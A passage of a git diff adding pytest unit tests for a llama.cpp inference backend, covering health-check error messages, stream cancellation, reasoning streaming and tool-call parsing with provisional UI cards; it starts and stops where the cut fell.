b/studio/backend/tests/test_llama_cpp_props_readback.py @@ -113,8 +113,14 @@ def _stub_props( body = None, exc = None, ): - def fake_get(url, timeout = None): + def fake_get( + url, + timeout = None, + trust_env = None, + ): assert url.endswith("/props") + + assert trust_env is False if exc is not None: raise exc return _FakeResponse(status_code, body) diff --git a/studio/backend/tests/test_llama_cpp_start_failure_classification.py b/studio/backend/tests/test_llama_cpp_start_failure_classification.py index 6b26121cf8..246d810602 100644 --- a/studio/backend/tests/test_llama_cpp_start_failure_classification.py +++ b/studio/backend/tests/test_llama_cpp_start_failure_classification.py @@ -140,6 +140,16 @@ class TestOllamaAndFallback: msg = _classify("", None, None) assert "llama-server failed to start" in msg + def test_health_timeout_names_probe_not_generic(self): + # A live server that never returns 200 on /health must name the probe and + # proxy/context causes, not blame a bad GGUF (#5740). + msg = _classify( + "llama-server health check timed out after 600.0s", "/models/x.gguf", "local/x" + ) + assert "/health" in msg + assert "NO_PROXY" in msg + assert "GGUF file is valid" not in msg + class TestOsKillReturncode: """SIGKILL (-9) with no diagnostic output is the OOM killer and gets a named, diff --git a/studio/backend/tests/test_llama_cpp_stream_cancel.py b/studio/backend/tests/test_llama_cpp_stream_cancel.py new file mode 100644 index 0000000000..1c73f4d17c --- /dev/null +++ b/studio/backend/tests/test_llama_cpp_stream_cancel.py @@ -0,0 +1,81 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +import contextlib +import os +import sys +import threading + +import httpx +import pytest + +_backend = os.path.join(os.path.dirname(__file__), "..") +sys.path.insert(0, _backend) + +from core.inference.llama_cpp import LlamaCppBackend, _LlamaStreamCancelled + + +def _backend_stub() -> LlamaCppBackend: + backend = LlamaCppBackend.__new__(LlamaCppBackend) + backend._process = object() + backend._healthy = True + backend._port = 48848 + backend._effective_context_length = 4096 + backend._supports_reasoning = False + backend._reasoning_always_on = False + backend._reasoning_style = "enable_thinking" + backend._supports_preserve_thinking = False + return backend + + +def test_stream_cancel_uses_internal_exception_not_generator_exit(): + class FakeResponse: + status_code = 200 + + def close(self): + pass + + class FakeStream: + def __enter__(self): + return FakeResponse() + + def __exit__(self, *_args): + return False + + class FakeClient: + def stream(self, *_args, **_kwargs): + return FakeStream() + + cancel_event = threading.Event() + + with pytest.raises(Exception) as exc_info: + with LlamaCppBackend._stream_with_retry( + FakeClient(), + "http://llama.test/v1/chat/completions", + {}, + cancel_event, + ): + cancel_event.set() + raise httpx.ReadError("client closed") + + assert exc_info.type is _LlamaStreamCancelled + assert not issubclass(exc_info.type, GeneratorExit) + + +def test_generate_chat_completion_swallows_internal_stream_cancel(monkeypatch): + backend = _backend_stub() + + @contextlib.contextmanager + def fake_open_stream(*_args, **_kwargs): + raise _LlamaStreamCancelled + + monkeypatch.setattr(backend, "_open_stream", fake_open_stream) + + chunks = list( + backend.generate_chat_completion( + [{"role": "user", "content": "hi"}], + cancel_event = threading.Event(), + ) + ) + + assert chunks == [] diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py index 7b1ecbca61..afac1f5249 100644 --- a/studio/backend/tests/test_llama_cpp_tool_loop.py +++ b/studio/backend/tests/test_llama_cpp_tool_loop.py @@ -20,7 +20,11 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent) if _BACKEND_DIR not in sys.path: sys.path.insert(0, _BACKEND_DIR) -from core.inference.llama_cpp import LlamaCppBackend +from core.inference.llama_cpp import ( + _MAX_REPROMPTS, + _PROVISIONAL_ARGS_MIN_CHARS, + LlamaCppBackend, +) from state import tool_approvals from state.tool_approvals import TOOL_REJECTED_MESSAGE, resolve_tool_decision @@ -77,6 +81,23 @@ def _tool_names(payload: dict) -> list[str]: ] +def _patch_monotonic(monkeypatch, values: list[float]) -> None: + import core.inference.llama_cpp as llama_cpp_mod + + it = iter(values) + last = values[-1] + + def fake_monotonic() -> float: + nonlocal last + try: + last = next(it) + except StopIteration: + pass + return last + + monkeypatch.setattr(llama_cpp_mod.time, "monotonic", fake_monotonic) + + def _structured_tool_call(tool_name: str, arguments: dict, call_id: str) -> list[str]: return [ _sse( @@ -200,6 +221,299 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch): assert assistant_messages[-1]["tool_calls"][0]["function"]["name"] == "render_html" +def test_streamed_reasoning_answer_emits_backend_summary(monkeypatch): + stream = [ + _sse({"reasoning_content": "I am thinking."}), + _sse({"reasoning_content": " Still thinking."}), + _sse({"content": "Final answer."}), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + _patch_monotonic(monkeypatch, [100.0, 110.0, 172.0, 172.0]) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "answer"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + content_texts = [e["text"] for e in events if e["type"] == "content"] + # Reasoning streams live during BUFFERING instead of arriving as one block: + # each reasoning delta is emitted immediately, wrapped in . + assert content_texts[0] == "I am thinking." + assert content_texts[1] == "I am thinking. Still thinking." + # The final event closes the block and appends the answer. + assert content_texts[-1] == "I am thinking. Still thinking.Final answer." + + summary_index = next( + i for i, event in enumerate(events) if event["type"] == "reasoning_summary" + ) + final_content_index = max(i for i, event in enumerate(events) if event["type"] == "content") + assert summary_index < final_content_index + assert events[summary_index]["duration_ms"] == 62000 + + +def test_reasoning_streams_incrementally_with_tools(monkeypatch): + # Regression (DeepSeek "thinking doesn't stream"): with a tool/pill active the + # tool-loop generator must stream reasoning token-by-token like the no-tool + # path, not accumulate it and dump one buffered block. + stream = [ + _sse({"reasoning_content": "Step one."}), + _sse({"reasoning_content": " Step two."}), + _sse({"reasoning_content": " Step three."}), + _sse({"content": "Done."}), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0]) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "think then answer"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + reasoning_stage = [ + e["text"] + for e in events + if e["type"] == "content" + and e["text"].startswith("") + and "" not in e["text"] + ] + # One live emission per reasoning delta -- not a single dump. + assert reasoning_stage == [ + "Step one.", + "Step one. Step two.", + "Step one. Step two. Step three.", + ] + final = [e["text"] for e in events if e["type"] == "content"][-1] + assert final == "Step one. Step two. Step three.Done." + + +def test_reasoning_only_reply_matches_no_tool_path_with_tools(monkeypatch): + # A reasoning-only turn (whole answer in reasoning_content, no content, no + # tool) with a tool active streams the reasoning live, then resolves to the + # bare reasoning text -- identical to the no-tool generate_chat_completion + # path -- so the non-streaming drain still returns it as `content`, not an + # empty answer. + stream = [ + _sse({"reasoning_content": "The capital of France is Paris."}), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + _patch_monotonic(monkeypatch, [1.0, 5.0, 5.0]) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "just think"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + content_texts = [e["text"] for e in events if e["type"] == "content"] + # Reasoning streamed live during BUFFERING (the fix). + assert content_texts[0] == "The capital of France is Paris." + # Resolves to bare reasoning, matching the no-tool sibling. + assert content_texts[-1] == "The capital of France is Paris." + + +def test_reasoning_before_structured_tool_closes_think_block(monkeypatch): + # Regression: reasoning streamed live during BUFFERING must be closed with + # before a structured tool_call drains, so consumers without a + # reasoning extractor (Anthropic /v1/messages) never receive an unclosed + # . Mirrors the is_match (XML tool signal) path. + tool_stream = [ + _sse({"reasoning_content": "Let me search."}), + *_structured_tool_call("web_search", {"query": "weather"}, "call_1"), + ] + final_stream = [ + _sse({"content": "It is sunny."}), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads) + _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0]) + + monkeypatch.setattr( + "core.inference.tools.execute_tool", lambda name, arguments, **_kwargs: "sunny" + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "weather?"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start") + content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"] + # Reasoning streamed live, then closed before the tool -- balanced block. + assert content_before_tool[0] == "Let me search." + assert content_before_tool[-1] == "Let me search." + + +def _replay_route_reasoning_extractor(cumulatives: list[str]) -> tuple[str, str]: + """Replay the route's cumulative suffix-diff + reasoning extractor (the + shared core of routes/inference.py gguf_stream_chunks and the tool-loop + consumer) over content snapshots. Returns (visible, reasoning).""" + from routes.inference import _ResponsesReasoningExtractor + + extractor = _ResponsesReasoningExtractor(parse_think_markers = True) + prev_text = "" + visible: list[str] = [] + reasoning: list[str] = [] + for cumulative in cumulatives: + new_text = cumulative[len(prev_text) :] + prev_text = cumulative + if not new_text: + continue + reasoning_delta, visible_delta = extractor.feed(new_text) + if reasoning_delta: + reasoning.append(reasoning_delta) + if visible_delta: + visible.append(visible_delta) + final_reasoning, final_visible = extractor.finish() + if final_reasoning: + reasoning.append(final_reasoning) + if final_visible: + visible.append(final_visible) + return "".join(visible), "".join(reasoning) + + +def test_reasoning_only_route_output_matches_no_tool_path(monkeypatch): + # Parity contract: a reasoning-only reply must reach the client identically + # whether tools are on or off. Both generators stream live then + # resolve to the bare reasoning text; the route's suffix-diff + extractor + # must therefore produce the same (visible, reasoning) split for both. + stream = [ + _sse({"reasoning_content": "The capital"}), + _sse({"reasoning_content": " of France is Paris."}), + _done(), + ] + + tool_backend = _make_backend(monkeypatch, [list(stream)], []) + _patch_monotonic(monkeypatch, [1.0, 2.0, 2.0]) + tool_cumulatives = [ + e["text"] + for e in tool_backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "capital of France?"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + if e.get("type") == "content" + ] + + no_tool_backend = _make_backend(monkeypatch, [list(stream)], []) + no_tool_cumulatives = [ + y + for y in no_tool_backend.generate_chat_completion( + messages = [{"role": "user", "content": "capital of France?"}], + ) + if isinstance(y, str) + ] + + # Both paths stream the reasoning live with the same leading shape. (Raw + # yield lists aren't compared verbatim: the tool path emits a pre-existing + # duplicate trailing event that the route's suffix-diff dedupes.) + assert tool_cumulatives[:3] == no_tool_cumulatives[:3] + # The contract that matters: identical route-level output. + tool_out = _replay_route_reasoning_extractor(tool_cumulatives) + no_tool_out = _replay_route_reasoning_extractor(no_tool_cumulatives) + assert tool_out == no_tool_out + # Pin the shared contract so a change to either path shows up here. + _visible, reasoning = tool_out + assert reasoning == "The capital of France is Paris." + + +def test_reasoning_before_bare_json_tool_closes_think_block(monkeypatch): + # _drain_silently sibling of the structured-tool close: a bare-JSON tool call + # with a live reasoning prefix must also close before draining, and + # must never leak the drained call text as content. + tool_stream = [ + _sse({"reasoning_content": "Searching now."}), + _sse({"content": '{"name":"web_search","arguments":{"query":"weather"}}'}), + _done(), + ] + final_stream = [ + _sse({"content": "It is sunny."}), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads) + _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0]) + + monkeypatch.setattr( + "core.inference.tools.execute_tool", lambda name, arguments, **_kwargs: "sunny" + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "weather?"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start") + content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"] + assert content_before_tool[0] == "Searching now." + assert content_before_tool[-1] == "Searching now." + # The bare-JSON call text was drained, never surfaced as content. + assert not any('"name"' in t for t in content_before_tool) + + +def test_consumed_tool_final_pass_emits_latest_reasoning_summary(monkeypatch): + tool_stream = [ + _sse({"reasoning_content": "Need a render."}), + _sse( + { + "content": '{"name":"render_html","arguments":{"code":"ok"}}' + } + ), + _done(), + ] + final_stream = [ + _sse({"reasoning_content": "Now synthesize."}), + _sse({"content": "Final from tool."}), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads) + _patch_monotonic(monkeypatch, [200.0, 201.0, 203.0, 300.0, 400.0, 405.0, 405.0]) + + def fake_execute_tool(name, arguments, **_kwargs): + return "Rendered HTML canvas: Done." + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "render then answer"}], + tools = [{"type": "function", "function": {"name": "render_html"}}], + max_tool_iterations = 1, + ) + ) + + summaries = [event for event in events if event["type"] == "reasoning_summary"] + assert [event["duration_ms"] for event in summaries] == [2000, 5000] + final_summary_index = events.index(summaries[-1]) + final_content_index = next( + i + for i, event in enumerate(events) + if event.get("type") == "content" and "Final from tool." in event.get("text", "") + ) + assert final_summary_index < final_content_index + + def test_repeat_render_html_nudge_is_not_user_visible_error(monkeypatch): """A repeated render_html call is an internal no-op, not a visible card.""" @@ -945,9 +1259,11 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch): def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch): """No-tool re-prompt attempts should not concatenate into the UI.""" - streams = [ - [_sse({"content": "I will use render_html now."}), _done()], - [_sse({"content": "Understood. I will use render_html now."}), _done()], + # One initial response plus one stream per re-prompt; derive the count from the shared cap. + streams = [[_sse({"content": "I will use render_html now."}), _done()]] + streams += [ + [_sse({"content": "Understood. I will use render_html now."}), _done()] + for _ in range(_MAX_REPROMPTS) ] payloads: list[dict] = [] backend = _make_backend(monkeypatch, streams, payloads) @@ -982,7 +1298,7 @@ def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch): content_texts = [event.get("text", "") for event in events if event.get("type") == "content"] assert content_texts == ["I will use render_html now."] - assert len(payloads) == 2 + assert len(payloads) == _MAX_REPROMPTS + 1 def test_forced_reprompt_plain_final_answer_is_visible(monkeypatch): @@ -1071,6 +1387,48 @@ def test_internal_reprompt_disabled_when_auto_heal_disabled(monkeypatch): assert len(payloads) == 1 +def test_internal_reprompt_disabled_when_nudge_tool_calls_false(monkeypatch): + # Explicit nudge_tool_calls=False disables the plan-without-action + # re-prompt even with Auto-Heal on (None keeps the default-on behavior). + streams = [[_sse({"content": "I will use render_html now."}), _done()]] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, streams, payloads) + + def fake_execute_tool(name, arguments, **_kwargs): + raise AssertionError(f"unexpected tool execution: {name} {arguments}") + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + tools = [ + { + "type": "function", + "function": { + "name": "render_html", + "description": "Render HTML.", + "parameters": { + "type": "object", + "properties": {"code": {"type": "string"}}, + "required": ["code"], + }, + }, + } + ] + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "Make a red square."}], + tools = tools, + max_tool_iterations = 1, + auto_heal_tool_calls = True, + nudge_tool_calls = False, + ) + ) + + content_texts = [event.get("text", "") for event in events if event.get("type") == "content"] + assert content_texts == ["I will use render_html now."] + assert len(payloads) == 1 + + def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatch): streams = [ [ @@ -1109,6 +1467,66 @@ def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatc ) +def test_textual_mistral_marker_not_leaked_when_inline_with_preface(monkeypatch): + # Textual Mistral ``[TOOL_CALLS]`` inline with visible preface: the DRAINING flush must use the + # shared parser patterns (which know ``[TOOL_CALLS]``); the legacy set leaked the marker to clients. + streams = [ + [_sse({"content": 'Let me search. [TOOL_CALLS]web_search{"query":"cats"}'}), _done()], + [_sse({"content": "done"}), _done()], + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, streams, payloads) + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "result" + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "search"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [("web_search", {"query": "cats"})] + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all("[TOOL_CALLS]" not in t for t in content_texts), content_texts + assert any("Let me search." in t for t in content_texts) + + +def test_textual_llama_python_tag_marker_not_leaked(monkeypatch): + # Same leak class for the Llama-3 built-in ``<|python_tag|>NAME.call(...)`` form. + streams = [ + [_sse({"content": '<|python_tag|>web_search.call(query="cats")'}), _done()], + [_sse({"content": "done"}), _done()], + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, streams, payloads) + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "result" + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "search"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [("web_search", {"query": "cats"})] + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all("<|python_tag|>" not in t for t in content_texts), content_texts + + def test_reprompted_tool_call_still_streams_final_answer(monkeypatch): """Suppression ends once a forced re-prompt actually calls a tool.""" @@ -1325,3 +1743,1143 @@ def test_confirm_tool_calls_deny_skips_gguf_tool_and_retry_can_execute(monkeypat assert len(starts) == 2 assert [event["result"] for event in ends] == [TOOL_REJECTED_MESSAGE, "OK"] assert calls == [("python", {"code": "print(1)"})] + + +def _streamed_structured_tool_call( + tool_name: str, + arguments: dict, + call_id: str, + frag: int = 24, +) -> list[str]: + """A structured tool call whose arguments arrive token-by-token across many + deltas (id + name on the first delta), mirroring how llama-server streams a + large tool-call argument such as a full HTML/code file.""" + args_json = json.dumps(arguments) + fragments = [args_json[i : i + frag] for i in range(0, len(args_json), frag)] or [""] + chunks = [ + _sse( + { + "tool_calls": [ + { + "index": 0, + "id": call_id, + "type": "function", + "function": {"name": tool_name, "arguments": fragments[0]}, + } + ] + } + ) + ] + for fragment in fragments[1:]: + chunks.append(_sse({"tool_calls": [{"index": 0, "function": {"arguments": fragment}}]})) + chunks.append(_done()) + return chunks + + +def test_large_python_tool_call_emits_early_provisional_start(monkeypatch): + """Regression: a large streamed tool-call argument surfaces a provisional + tool card BEFORE the full arguments finish, so the UI shows progress during + generation instead of a frozen 'Generating...'. (The bug: only render_html + surfaced early; python/terminal/etc. were silent until the call completed.)""" + + big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120)) + args_json = json.dumps({"code": big_code}) + assert len(args_json) > _PROVISIONAL_ARGS_MIN_CHARS + + first_stream = _streamed_structured_tool_call("python", {"code": big_code}, "call_py_big") + final_stream = [_sse({"content": "Done."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "OK" + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "write code"}], + tools = [{"type": "function", "function": {"name": "python"}}], + max_tool_iterations = 1, + ) + ) + + tool_starts = [e for e in events if e.get("type") == "tool_start"] + provisional = [e for e in tool_starts if not e.get("arguments")] + real = [e for e in tool_starts if e.get("arguments", {}).get("code")] + + # Exactly one provisional (empty args) and one real (full args), same id so + # the frontend reconciles them into a single card. + assert len(provisional) == 1, tool_starts + assert provisional[0]["tool_name"] == "python" + assert provisional[0]["tool_call_id"] == "call_py_big" + assert provisional[0]["provenance"].get("provisional") is True + assert len(real) == 1 + assert real[0]["tool_call_id"] == "call_py_big" + # The provisional card appears before the real (completed) tool_start. + assert events.index(provisional[0]) < events.index(real[0]) + + assert calls == [("python", {"code": big_code})] + assert any(e.get("type") == "tool_end" and e.get("tool_name") == "python" for e in events) + + +def test_small_python_tool_call_has_no_provisional_start(monkeypatch): + """A small tool-call argument finishes streaming instantly, so it keeps the + existing behavior of a single (real) tool_start with no provisional card.""" + + first_stream = _structured_tool_call("python", {"code": "print(1)"}, "call_py_small") + final_stream = [_sse({"content": "Done."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "OK") + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "x"}], + tools = [{"type": "function", "function": {"name": "python"}}], + max_tool_iterations = 1, + ) + ) + + tool_starts = [e for e in events if e.get("type") == "tool_start"] + assert [e for e in tool_starts if not e.get("arguments")] == [] + assert len([e for e in tool_starts if e.get("arguments", {}).get("code")]) == 1 + + +def _streamed_parallel_tool_calls(specs, frag: int = 24) -> list[str]: + """Two or more structured tool calls, each streamed token-by-token across + deltas, one index fully before the next, mirroring how llama-server streams + several parallel tool calls whose arguments are large.""" + chunks: list[str] = [] + for index, (tool_name, arguments, call_id) in enumerate(specs): + args_json = json.dumps(arguments) + fragments = [args_json[i : i + frag] for i in range(0, len(args_json), frag)] or [""] + chunks.append( + _sse( + { + "tool_calls": [ + { + "index": index, + "id": call_id, + "type": "function", + "function": {"name": tool_name, "arguments": fragments[0]}, + } + ] + } + ) + ) + for fragment in fragments[1:]: + chunks.append( + _sse({"tool_calls": [{"index": index, "function": {"arguments": fragment}}]}) + ) + chunks.append(_done()) + return chunks + + +def test_parallel_large_tool_calls_each_emit_provisional_start(monkeypatch): + """With parallel tool use enabled (the default), every streamed large tool + call surfaces its own provisional card, not just the first one, so the UI + shows progress for each call as its arguments stream.""" + + big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120)) + big_cmd = "echo start\n" + "\n".join(f"echo line {i}" for i in range(60)) + assert len(json.dumps({"code": big_code})) > _PROVISIONAL_ARGS_MIN_CHARS + assert len(json.dumps({"command": big_cmd})) > _PROVISIONAL_ARGS_MIN_CHARS + + first_stream = _streamed_parallel_tool_calls( + [ + ("python", {"code": big_code}, "call_py"), + ("terminal", {"command": big_cmd}, "call_term"), + ] + ) + final_stream = [_sse({"content": "Done."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "OK" + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "do both"}], + tools = [ + {"type": "function", "function": {"name": "python"}}, + {"type": "function", "function": {"name": "terminal"}}, + ], + max_tool_iterations = 1, + ) + ) + + provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")] + assert sorted(e["tool_call_id"] for e in provisional) == ["call_py", "call_term"] + assert all(e["provenance"].get("provisional") is True for e in provisional) + # Both calls actually executed (parallel tool use is enabled by default). + assert sorted(name for name, _ in calls) == ["python", "terminal"] + + +def test_parallel_disabled_suppresses_provisional_for_later_calls(monkeypatch): + """When parallel tool use is disabled the downstream truncates to the first + call, so only the first streamed call may surface a provisional; a later + call must not get a card that could never reconcile or be closed.""" + + big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120)) + big_cmd = "echo start\n" + "\n".join(f"echo line {i}" for i in range(60)) + + first_stream = _streamed_parallel_tool_calls( + [ + ("python", {"code": big_code}, "call_py"), + ("terminal", {"command": big_cmd}, "call_term"), + ] + ) + final_stream = [_sse({"content": "Done."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "OK" + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "do both"}], + tools = [ + {"type": "function", "function": {"name": "python"}}, + {"type": "function", "function": {"name": "terminal"}}, + ], + max_tool_iterations = 1, + disable_parallel_tool_use = True, + ) + ) + + provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")] + assert [e["tool_call_id"] for e in provisional] == ["call_py"] + # Only the first call executes when parallel use is disabled. + assert calls == [("python", {"code": big_code})] + # The lone provisional is closed exactly once (no dangling card). + closing = [ + e for e in events if e.get("type") == "tool_end" and e.get("tool_call_id") == "call_py" + ] + assert len(closing) == 1 + + +def test_connect_error_during_tool_call_closes_provisional_card(monkeypatch): + """If llama-server drops mid tool-call after a provisional card is shown, the + loop must close that card before surfacing the error so the UI never leaves a + tool spinning forever.""" + import httpx + + big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120)) + fragments = _streamed_structured_tool_call("python", {"code": big_code}, "call_py_err") + # Drop the trailing [DONE]; raise a connection error after the fragments + # stream (and after the provisional card has been emitted). + fragments = fragments[:-1] + + def raising_stream(): + for chunk in fragments: + yield chunk + raise httpx.ConnectError("connection lost mid stream") + + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [raising_stream()], payloads) + + monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "OK") + + collected: list[dict] = [] + raised = False + gen = backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "write code"}], + tools = [{"type": "function", "function": {"name": "python"}}], + max_tool_iterations = 1, + ) + try: + for event in gen: + collected.append(event) + except RuntimeError as exc: + raised = True + assert "Lost connection" in str(exc) + + assert raised + provisional = [e for e in collected if e.get("type") == "tool_start" and not e.get("arguments")] + assert len(provisional) == 1 + assert provisional[0]["tool_call_id"] == "call_py_err" + # The provisional card is closed before the error propagates. + closing = [ + e + for e in collected + if e.get("type") == "tool_end" and e.get("tool_call_id") == "call_py_err" + ] + assert len(closing) == 1 + # The closing card is marked as an error, not an empty success, so the UI + # renders it as failed. + assert "Error" in (closing[0].get("result") or "") + + +def test_empty_tool_call_id_does_not_emit_provisional_card(monkeypatch): + """llama.cpp can stream a tool call whose id is an empty string. A provisional + card keyed by "" cannot reconcile with the real tool_start (the frontend mints + its own id per event), so it must not be emitted -- otherwise the empty card + would dangle. The real call must still execute normally.""" + + big_code = "total = 0\n" + "\n".join(f"total += {i}" for i in range(120)) + assert len(json.dumps({"code": big_code})) > _PROVISIONAL_ARGS_MIN_CHARS + + # Same large streamed call as the provisional test, but with an empty id. + first_stream = _streamed_structured_tool_call("python", {"code": big_code}, "") + final_stream = [_sse({"content": "Done."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "OK" + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "write code"}], + tools = [{"type": "function", "function": {"name": "python"}}], + max_tool_iterations = 1, + ) + ) + + # No provisional card (empty-args tool_start) was surfaced for the empty id. + provisional = [e for e in events if e.get("type") == "tool_start" and not e.get("arguments")] + assert provisional == [] + # The real call still executes despite the missing id. + assert calls == [("python", {"code": big_code})] + + +def _streamed_content(text: str, frag: int = 4) -> list[str]: + """Stream content token-by-token like llama-server; ``frag`` sets the chunk size.""" + chunks = [_sse({"content": text[i : i + frag]}) for i in range(0, len(text), frag)] + chunks.append(_done()) + return chunks + + +def test_bare_json_tool_call_streamed_is_not_leaked_and_executes(monkeypatch): + """A wrapper-less bare-JSON call must be held while incomplete, drained silently, and executed with nothing leaking.""" + + bare_call = '{"name": "web_search", "parameters": {"query": "weather in Sydney"}}' + first_stream = _streamed_content(bare_call) + final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "Weather: sunny, 22C." + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "weather in Sydney?"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + # The tool ran with the parsed arguments. + assert calls == [("web_search", {"query": "weather in Sydney"})] + assert any( + event.get("type") == "tool_end" and event.get("tool_name") == "web_search" + for event in events + ) + + # The bare JSON never leaked to the user-visible stream. + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all('"name"' not in t for t in content_texts), content_texts + assert all("web_search" not in t for t in content_texts), content_texts + # The post-tool synthesis is still streamed. + assert any("sunny in Sydney" in t for t in content_texts), content_texts + + +def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call(monkeypatch): + """Markerless JSON with a non-enabled name is the answer, not a phantom call.""" + + answer = '{"name": "Alice", "parameters": {"age": 30}}' + first_stream = _streamed_content(answer) + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda n, a, **_k: (calls.append((n, a)) or "x"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + 